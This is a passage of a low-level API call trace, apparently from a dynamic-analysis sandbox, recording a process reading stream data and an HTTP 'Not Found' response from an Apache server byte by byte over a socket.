plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.150] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x4e, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.150] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0xe, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.150] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x6f, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.150] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0xf, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.150] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x74, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.150] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x10, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.150] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.150] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x11, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.150] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x46, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.150] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x12, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.150] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x6f, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.150] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x13, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.150] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x75, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.150] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.150] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x6e, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.150] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x15, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.151] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x64, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.151] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x16, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.151] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0xd, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.151] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x17, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.151] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0xa, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.151] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x18, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.151] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x44, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.151] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x19, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.151] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x61, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.151] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x1a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.151] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x74, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.151] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x1b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.151] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x65, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.151] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x1c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.151] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x3a, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.151] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x1d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.151] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.151] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x1e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.151] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x57, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.151] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x1f, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.151] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x65, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.151] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x20, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.151] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x64, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.151] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x21, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.151] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x2c, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.151] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x22, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.151] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.151] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x23, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.151] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x31, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.151] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x24, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.151] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x31, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.151] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x25, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.151] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.151] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x26, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.151] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x41, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.151] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x27, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.151] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x70, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.151] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.152] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x72, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.152] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x29, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.152] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.152] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x2a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.152] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x32, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.152] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x2b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.152] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x30, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.152] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x2c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.152] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x31, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.152] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x2d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.152] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x38, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.152] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x2e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.152] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.152] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x2f, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.152] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x30, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.152] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x30, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.152] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x39, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.152] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x31, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.152] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x3a, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.152] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x32, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.152] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x32, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.152] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x33, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.152] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x34, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.152] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x34, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.152] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x3a, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.152] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x35, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.152] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x31, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.152] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x36, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.152] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x38, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.152] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x37, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.152] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.152] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x38, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.152] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x47, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.152] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x39, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.152] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x4d, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.152] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x3a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.152] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x54, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.152] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x3b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.153] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0xd, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.153] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x3c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.153] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0xa, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.153] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x3d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.153] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x53, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.153] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x3e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.153] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x65, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.153] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x3f, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.153] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x72, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.153] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x40, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.153] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x76, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.153] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x41, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.153] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x65, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.153] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x42, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.153] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x72, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.153] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x43, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.153] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x3a, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.153] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x44, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.153] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.153] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x45, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.153] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x41, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.153] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x46, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.153] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x70, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.153] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x47, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.153] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x61, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.153] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x48, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.153] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x63, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.153] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x49, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.153] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x68, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.153] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x4a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.153] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x65, pcbRead=0x12fd5c*=0x3) returned 0x0 [0086.153] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x4b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.153] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0xd, pcbRead=0x12fd5c*=0x2) returned 0x0 [0086.153] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x4c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.153] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0xa, pcbRead=0x12fd5c*=0x1) returned 0x0 [0086.153] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x4d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.153] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x0, pcbRead=0x12fd5c*=0x0) returned 0x0 [0086.153] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.154] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.154] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.154] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x43, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.154] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.154] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.154] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.154] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x6f, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.154] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.154] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.154] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.154] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x6e, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.154] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.155] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.155] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.155] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x74, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.155] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.155] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.155] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.155] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x65, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.155] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.155] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.155] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.155] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x6e, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.155] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.155] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.155] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.155] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x74, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.155] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.155] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.155] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.155] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x2d, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.156] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.156] select (in: nfds=0, 